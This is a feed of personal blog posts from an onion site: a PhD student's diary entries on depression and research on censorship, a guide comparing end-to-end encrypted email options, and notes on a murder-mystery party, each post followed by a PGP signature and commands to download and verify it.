    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/loop_of_doom.md.asc
    +gpg --verify loop_of_doom.md.asc loop_of_doom.md
    +  
    +
    + + +]]>
    +
    + + Cupid is so dumb + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/cupid/ + Tue, 04 Nov 2025 19:35:16 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/cupid/ + <p>The lyrics are being played in my brain day and night.</p> +<p>&ldquo;A hopeless romantic all my life&rdquo;</p> +<p>&ldquo;Surrounded by couples all the time&rdquo;</p> +<p>&ldquo;I guess I should take it as a sign&rdquo;</p> +<p>But&hellip; &ldquo;I gave a second chance to Cupid&rdquo;</p> +<p>&ldquo;But now I&rsquo;m left here feelin&rsquo; stupid&rdquo;</p> +<p>I might&rsquo;ve given more than two chances to cupid.</p> +<p>But I&rsquo;m still left here felling&rsquo; stupid.</p> +<p>&ldquo;I look for his arrows every day&rdquo;</p> + The lyrics are being played in my brain day and night.

    +

    “A hopeless romantic all my life”

    +

    “Surrounded by couples all the time”

    +

    “I guess I should take it as a sign”

    +

    But… “I gave a second chance to Cupid”

    +

    “But now I’m left here feelin’ stupid”

    +

    I might’ve given more than two chances to cupid.

    +

    But I’m still left here felling’ stupid.

    +

    “I look for his arrows every day”

    +

    “I guess he got lost or flew away”

    +

    But does it matter anymore? +It shouldn’t. It really shouldn’t.

    +

    Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I’ve been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn’t told me.

    +

    Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn’t funny, idk. What I do know however is that I’m hurt. There is a bit more to the story than that, but I don’t want to open it up. It’s way too personal to be opened.

    +

    The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though.

    +

    I’ve been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on.

    +

    I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough.

    +

    I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope.

    +

    For now all I know is that I’m stuck in MDD, and I cannot get out of it. I’m glad suicidal thoughs are off the table. I’m just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live.

    +

    I think this is just so painful to me in the sense that I don’t really have many friends that I consider as friends, and I’m being left alone from some groups that I don’t necesserially wanna be a part of. But oh well, I should not care.

    +

    Credit: Cupid by FIFTY FIFTY

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa+CzLQY5UgxMloPUPb7wt0PeUf
    +CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7+GF9IUv
    +YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa
    +2RWo2WA0w9PIvb/rv77+fOx5g7P1Ap+mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl
    +HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r
    +ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7
    +oKcf7IO8MJNs4l3+990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1
    +wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm
    +7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq+Tl/MSNQVfwTbxBMkGxmLQwEWY9
    +mUD+FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/
    +91kzN5JeoMvwawhIt9N8+nPGUOs3RTy+qHk9L7DHhtAycdFqm/c=
    +=sXgB
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/cupid.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/cupid.md.asc
    +gpg --verify cupid.md.asc cupid.md
    +  
    +
    + + +]]>
    +
    + + October '25 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/october_2025/ + Fri, 31 Oct 2025 08:40:43 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/october_2025/ + <h1 id="1st">1st</h1> +<p>Ok, let&rsquo;s start the month by declareing some goals and agendas.</p> +<p>What do I want to do this month?</p> +<ul> +<li>Finish previous semester.</li> +<li>Pick the last of the course work for my prep phase.</li> +<li>Finalize the CoNEXT student workshop paper.</li> +<li>Finish my second RIL.</li> +<li>Start my 3rd and last RIL.</li> +<li>Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?</li> +<li>More literature review, persumabely all of FOCI related papers this month.</li> +<li>Work on my codebase: +<ol> +<li>Do code cleaning</li> +<li>Add comments for code</li> +<li>Start working on ICMP stuff</li> +</ol> +</li> +<li>More socializing! :-)</li> +<li>A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.</li> +<li>Enhance your routines and add exercise to it please!</li> +</ul> +<p>Alright. Now that the goals are set, let&rsquo;s start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I&rsquo;m doing work!</p> + 1st +

    Ok, let’s start the month by declareing some goals and agendas.

    +

    What do I want to do this month?

    +
      +
    • Finish previous semester.
    • +
    • Pick the last of the course work for my prep phase.
    • +
    • Finalize the CoNEXT student workshop paper.
    • +
    • Finish my second RIL.
    • +
    • Start my 3rd and last RIL.
    • +
    • Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?
    • +
    • More literature review, persumabely all of FOCI related papers this month.
    • +
    • Work on my codebase: +
        +
      1. Do code cleaning
      2. +
      3. Add comments for code
      4. +
      5. Start working on ICMP stuff
      6. +
      +
    • +
    • More socializing! :-)
    • +
    • A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.
    • +
    • Enhance your routines and add exercise to it please!
    • +
    +

    Alright. Now that the goals are set, let’s start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I’m doing work!

    +

    I have started to take SSRIs again. +I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. +I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. +After being all happy and things working very well, we started to cut the last piece of the puzzle. +We agreed to reduce the dosage by 0.25% of the max and wait for one month. +Things were going really well for the first two and a half month, and then it happened. +The catastrophe that put me in my worst mental and physicall position happened to me. +It’s not something I want to talk about in my blog, well at least for now, but I’ve tried to talk about it with my closest friends. +It’s so sad that things happened the way they did. +I never really fully recovered. +But… time has passed. +Almost 8 months now. +I should not have continued to cut my medication, but I did. +I damaged myself badly by being stubborn. +My brother who knew everything insisted that I should continue the usage, but I didn’t listen. +My parents didn’t know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. +I was scared of my own shadow for more than one month. +I eventually started to go out, but seeing some certain people made me uncomfortable. +This is another thing I haven’t been able to figure out. +In the end, I just endured pain, a lot of pain. +I’m glad I didn’t break, but I do think most people would’ve. +To deal with this pain, I decided to take many courses. +Cure pain with more pain. +What a fool I was. +I just tore myself up mentally and added much more unneeded stress.

    +

    Did I mention I didn’t show up in office for 6 weeks? +And that when I came back I was hit again with things I didn’t understand? +Sometimes in life shit happens, but this was a whole new level. +I don’t know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. +I’ve been trying to just lay low, stick to myself, and stay the hell out of trouble.

    +

    3rd

    +

    Today is the German unity day, and we have a long weekend ahead! +Other than that, last night was one of the most fantabolous days of my life. +I’m feeling more content and secure. +I’m feeling true happiness. +I don’t know how much the SSRI is affecting me, but I know one thing for sure. +I’m just like I used to be 9 months ago. +Just as jolly, positive, and feeling like I’m on top of the world. +Thinking about it a bit more, I do think I’m being a bit less passionate about my work. +What could be the reason? Different priorities? Nah. I really love my research and care about it. +I think it’s just that there is no pressure on me, and no deadline. +I will try to set small deadlines for myself and force myself to be more productive. +Oh, and the SSRI adverse effects are visible! Yeah… But it’s going to be alright, I’m sure of it. +I have an exam I need to prepare for on 7th, but I’ve been procrastinating. I should plan my days and stick to it. Hell yes.

    +

    5th

    +

    My student workshop paper to CoNEXT ‘25 was rejected. +It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic.

    +

    First review (wa) provided two suggestions for improving the work. +However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details.

    +

    Second review (wr) asked for more details. +In the end they suggested only focusing on one approach and it’s evaluation. +This kinda defeated the purpose of what I was trying to do, to provide “tools”.

    +

    Another thing they mentioned was how ML-based traffic analysis can be used to detect evasion. +This is indeed something I like to work on and look at in the near future.

    +

    7th

    +

    Stressful day. +I had my last exam, the exam for Interactive systems that I did not attend the main exam for. +I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. +I don’t know how I did, but I’m glad I did the exam. +Hopefully I did alright, although I kinda do know some of the mistakes I’ve made, which is a really bad sign… +I hope I won’t have to take another extra course in the next semesters, that would just be annoying. +I really do hope so.

    +

    8th

    +

    I’m back at work, still very distracted with life. +I do need to do literature review, expand my framework, and focus on my work. +It’s a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. +I hope I can get myself together and start being productive again.

    +

    9th

    +

    I will be doing literature review today. +Yesteday I didn’t manage to get myself together. Drat. +There will be a nice social event later today too. +I can rest and socialize with my group’s amazing people! +It’ll be fun! :)

    +

    Another fun thing is that I will get my very own physical GFW box today. +It’s probably the most majestic thing that could’ve happened? +The reason for it is that a month ago there was a leak for GFW. +Lucky us I guess.

    +

    13th

    +

    Last week was again not a productive week. +I will start to plan my days from now on. +The important things are literature review, working on the code base, and looking at the box a bit. +Unfortunately the new semester also starts from today. +I’ll be having one, at most two courses.

    +

    17th

    +

    Another unproductive week. +I think this was the worst one actually. +I can’t focus on reading the papers, I get distracted easily or lose interest. +Tobias suggested USENIX’s 3-slide slide deck to enhance my focus, I’ll give it a try.

    +

    I also need to address the elephant in the room, and start working on the codebase.

    +

    I also need to look at the GFW files more, and try to find useful stuff there.

    +

    But first I need to work on HTDN’s papers, and craft the slides. That is the highest priority on my list. I’ll do it.

    +
    +

    31st

    +

    It went by. +It went by quickly. +I wasn’t able to pick myself up this month, but I won’t let it happen in the following. +I want to be truthful, so I won’t hide anything. +the only thing is I should’ve let myself grief a bit, and I did. I’m proud of it. It’s fine. +For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. +I promise.

    +

    Also I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it’s not a bad thing. The problem is I don’t have much to present, and that’s why this is the content. Idk if I change the structure or not, but for now it is what it is.

    +

    Ok, let’s set some goals for next month in advance, then we can see how good we did.

    +
      +
    • I want to work on ICMP stuff and make it work nicely.
    • +
    • I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this.
    • +
    • I need to keep up with my courses, including the German class.
    • +
    • I might work more on the GFW leaked data, but I think it’s not a priority for me for now. So… scrap this last one.
    • +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbtwACgkQtYgoUOBM
    +jSryHhAAvH+XWK2675p6vFyzP9ZVDmyh1klyhNM/rLiErk5GfmnwNmKQIFxoMei9
    +2UuypSgH7l7mG9Ga+1Ph9W5YhA0qMMbA5LVWMyqlRfvVF9hoY4On21YRBieXqwsx
    +G4jS7A4PxYZbRt8+lVuyphe+KMRiwOMfPuWoIse2hfpfhs64h+cmZVPen5zsWHD5
    +2jAV888Y5oqGc9uISf380zBqEn3jIJOxiWCi+4vS6p87h0x8E2tVqCUNQEGgiriu
    +NLBkMOkuXAlQZnnv379jX4wh7N79bVjDoH3IHRQx+W8FqEGzu11D3VxO85+Q5/EY
    +n0FvOI4EXtWAHKjsHFcEX/MfXESy5zwNgIWW7+8OYnIv1CRPLPz/hHoZxklkflyZ
    +yqNdg8o+aRHsqbDVQxIKQXH5xUEcDH+9A7bRxmCmgksML01dPnrcw4ioYzu+t0em
    +4DRVp1HWJP/P7Sv2QrR6KgLS3DINRzC7ZkzV7Yeg40eQcb7BadEAZZ9aEjjDJtR0
    +B/n18yUje9BWNFc7nYKkmBYO4UU4L5O1lJWQZhgLrfWxZziJSRs2WTD+tKsbY+5/
    +YSEmToD9nAFioRSpWIV9/uYlsJYfGFtCCgNb/JD2uE+bROitVdZ6auE5AXmef1aN
    +t1QRAQvtpctfFlmwkDdb0BLFS5GSbRr55mkLg1yGS2o4zsC6FQ8=
    +=NvQ7
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/October_2025.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/October_2025.md.asc
    +gpg --verify October_2025.md.asc October_2025.md
    +  
    +
    + + +]]>
    +
    + + Sending End‑to‑End Encrypted Email (E2EE) without losing friends + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + A practical, mildly opinionated guide to sending encrypted email that normal people can actually read. + If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    +
    + + La Plaza: The Falcones & the Morettis + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + Sat, 25 Oct 2025 07:52:53 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war. + Last night I attended a ZiS event called “the Murder Mystery night”.

    +

    The story was about two families. The Falcones, and the Moretti family.

    +
    +

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    +

    Family Trees

    + + + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
    + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +
    + + +
    +

    Who’s Who (quick dossiers)

    +

    Falcone notes

    +
      +
    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • +
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • +
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • +
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • +
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • +
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • +
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • +
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • +
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
    • +
    +

    Moretti notes

    +
      +
    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • +
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • +
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • +
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • +
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • +
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • +
